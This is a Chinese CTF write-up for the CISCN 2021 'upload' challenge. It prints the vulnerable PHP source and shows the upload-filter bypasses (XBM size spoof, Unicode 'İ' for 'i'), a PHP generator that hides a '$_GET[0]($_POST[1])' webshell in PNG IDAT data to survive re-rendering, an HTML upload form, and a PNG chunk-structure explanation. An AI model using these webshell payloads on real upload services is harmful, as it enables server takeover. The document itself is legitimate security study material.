/源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
#Quals]upload
if (!isset($_GET["ctf"])) {
highlight_file(__FILE__);
die();
}

if(isset($_GET["ctf"]))
$ctf = $_GET["ctf"];

if($ctf=="upload") {
if ($_FILES['postedFile']['size'] > 1024*512) {
die("这么大个的东西你是想d我吗?");
}
$imageinfo = getimagesize($_FILES['postedFile']['tmp_name']);#获取图片大小
if ($imageinfo === FALSE) {
die("如果不能好好传图片的话就还是不要来打扰我了");
}
if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {#图片长宽为1
die("东西不能方方正正的话就很讨厌");
}
$fileName=urldecode($_FILES['postedFile']['name']);
if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {#过滤关键字母,忽略大小写
die("有些东西让你传上去的话那可不得了");
}
$imagePath = "image/" . mb_strtolower($fileName);#使字符串小写,这边encoding参数被省略。
if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) {#将上传的文件移动到image位置下。
echo "upload success, image at $imagePath";
} else {
die("传都没有传上去");
}
}

/example.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
if (!isset($_GET["ctf"])) {
highlight_file(__FILE__);
die();
}

if(isset($_GET["ctf"]))
$ctf = $_GET["ctf"];

if($ctf=="poc") {
$zip = new \ZipArchive();
$name_for_zip = "example/" . $_POST["file"];
if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {
die("要不咱们再看看?");
}
if ($zip->open($name_for_zip) !== TRUE) {
die ("都不能解压呢");
}

echo "可以解压,我想想存哪里";
$pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);
$zip->extractTo($pos_for_zip);
$zip->close();
unlink($name_for_zip);
$files = glob("$pos_for_zip/*");
foreach($files as $file){
if (is_dir($file)) {
continue;
}
$first = imagecreatefrompng($file);
$size = min(imagesx($first), imagesy($first));
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($second !== FALSE) {
$final_name = pathinfo($file)["basename"];
imagepng($second, 'example/'.$final_name);
imagedestroy($second);
}
imagedestroy($first);
unlink($file);
}

}

绕过imageinfo()函数:

1
2
#define width 1
#define height 1

过滤了c,h,i,在/example.php里面有解压,应该是得解压,上传zip文件,解压之后是php文件就行,i可以用Unicode字符代替绕过(%c4%b0代替i),一看到 imagecreatefrompng就知道是二次渲染,

第一个生成php脚本(生成的图片的png后缀改为php,然后压缩为zip,构造上传页面上传):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
#<?=$_GET[0]($_POST[1]);
?>

上传页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://85563469-3efd-4f10-95f4-9efac7955a50.node4.buuoj.cn:81/upload.php?ctf=upload" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="postedFile" id="postedFile"><br><!--name要根据题目的源码来调节-->
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

上传文件时应该

image-20241103195529604

上传成功:

再进行

它存在了example/下名字没变直接查看就行

image-20241103194618711

最后一个一个找flag

第二个就是用这个

https://github.com/huntergregal/PNG-IDAT-Payload-Generator/ 工具

改payload就行:

image-20241103195849301

步骤一样的,直接这个蚁剑链接,上个也可以找一下这个的16进制,换一下就行

image-20241103200001605

直接有了,解压别太快,容易炸

解释

PNG结构

png 支持三种图像类型

  • 索引彩色图像(index-color images)
  • 灰度图像(grayscale images)
  • 真彩色图像(true-color images)
png 标识

png 标识作为 png 图片的头部,为固定的 8 字节

1
89 50 4E 47 OD 0A 1A 0A
数据块

png 定义了两种类型的数据块,一种是称为关键数据块(critical chunk),标准的数据块; 另一种叫做辅助数据块(ancillary chunks),可选的数据块。

关键数据块定义了3个标准数据块,每个 png 文件都必须包含它们。3个标准数据块为: IHDR, IDAT, IEND

这里介绍4个:

  • 文件头数据块IHDR(header chunk)
  • 调色板数据块PLTE(palette chunk)
  • 图像数据块IDAT(image data chunk)
  • 图像结束数据IEND(image trailer chunk)

每个数据块都由下表所示的的4个域组成。

名称 字节数 说明
Length(长度) 4字节 指定数据块中数据域的长度,其长度不超过$(2^{31}-1)$字节
Chunk Type Code(数据块类型码) 4字节 数据块类型码由ASCII字母(A-Z和a-z)组成
Chunk Data(数据块实际内容) 可变长度 存储按照Chunk Type Code指定的数据
CRC(循环冗余检测) 4字节 存储用来检测是否有错误的循环冗余码

其中CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的,可以看做一种校验码


  • 文件头数据块IHDR(header chunk):

    它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。

  • 调色板数据块PLTE(palette chunk):

    它包含有与索引彩色图像((indexed-color image))相关的彩色变换数据,它仅与索引彩色图像有关,而且要放在图像数据块(image data chunk)之前。真彩色的PNG数据流也可以有调色板数据块,目的是便于非真彩色显示程序用它来量化图像数据,从而显示该图像。结构如下:

颜色 字节 意义
Red 1 byte 0 = 黑色, 255 = 红
Green 1 byte 0 = 黑色, 255 = 绿色
Blue 1 byte 0 = 黑色, 255 = 蓝色
1
2
3
PLTE数据块是定义图像的调色板信息,PLTE可以包含1~256个调色板信息,每一个调色板信息由3个字节组成,因此调色板数据块所包含的最大字节数为768,调色板的长度应该是3的倍数,否则,这将是一个非法的调色板。

对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。
  • 图像数据块IDAT(image data chunk):

它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。

IDAT存放着图像真正的数据信息

  • 图像结束数据IEND(image trailer chunk):

    它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。

    1
    00 00 00 00 49 45 4E 44 AE 42 60 82

    由于数据块结构的定义,IEND数据块的长度总是0(00 00 00 00,除非人为加入信息),数据标识总是IEND(49 45 4E 44),因此,CRC码也总是AE 42 60 82

写🐎思路

了解了png结构之后,我们大概有两种思路构造webshell

  1. PLTE插入php代码

    https://github.com/hxer/imagecreatefrom-/tree/master/png/analysis

    分析底层源码可知, png signature 是不可能插入 php 代码的; IHDR 存储的是 png 的图片信息,有固定的长度和格式,程序会提取图片信息数据进行验证,很难插入 php 代码;而 PLTE 主要进行了 CRC 校验和颜色数合法性校验等简单的校验,那么很可能在 data 域插入 php 代码。

    从对 PLTE chunk 验证的分析可知, 当原始图片格式给索引图片时,PLTE 数据块在满足 png 格式规范的情况下,程序还会进行 CRC 校验和长度合法性验证。因此,要将 PHP 代码写入 PLTE 数据块,不仅要修改 data 域的内容为php代码,然后修改 CRC 为正确的 CRC 校验值,当要填充的代码过长时,可以改变 length 域的数值,满足 length 为3的倍数, 且颜色数不超过色深中规定的颜色数。例如: IHDR 数据块中 Bit depth 为 08, 则最大的颜色数为 2^8=256, 那么 PLTE 数据块 data 的长度不超过 3*256=0x300。 这个长度对写入 php 一句话木马或者创建后门文件足够了。

    通过文章的exp构造的webshell,能过只有imagecreatefrompngimagepng的。

    但是经过题目imagecrop这种裁剪,会被有规律的吞掉

    image-20210522224138197

    解决方案是可以硬调:

    1
    2
    */$<?=_GET/**/[fghijk;/*(/*rstuvw0])*/e$%^val/*+//
    //就问这是人能调出来的么?<?=eval($_GET[0]);
  2. IDAT插入php代码

    原理剖析:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    exp:https://github.com/huntergregal/PNG-IDAT-Payload-Generator/

    当然也可以使用php版本的exp:

    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'wh1sper.php');//要修改的图片的路径 /* 木马内容 <?$_GET[0]($_POST[1]);?> */

    网上的wp大多都用的第二种方法,用python的exp。然后是把$_GET[0]改成了EVAL,然后需要按照算法计算一下crc

    https://blog.csdn.net/miuzzx/article/details/116885083

    https://lemonprefect.cn/zh-cn/posts/7c083fa1#imagecreatefrompng-bypass

    使用参考的 Repo 中的代码可以生成一个长度为 25 的任意 PHP payload 的正方形图片,只需要将自带的 payload 经过 Raw Deflate 之后再 Inflate 即可

题外话

这个姿势并不是新东西,在upload-labs17和DDCTF都出现过,没做出来还是说明题刷少了

另外还有其他图片的二次渲染具体可以看看:https://www.sqlsec.com/2020/10/upload.html#toc-heading-17

参考链接:https://blog.wh1sper.com/posts/ciscn-2021-quals-writeup/#upload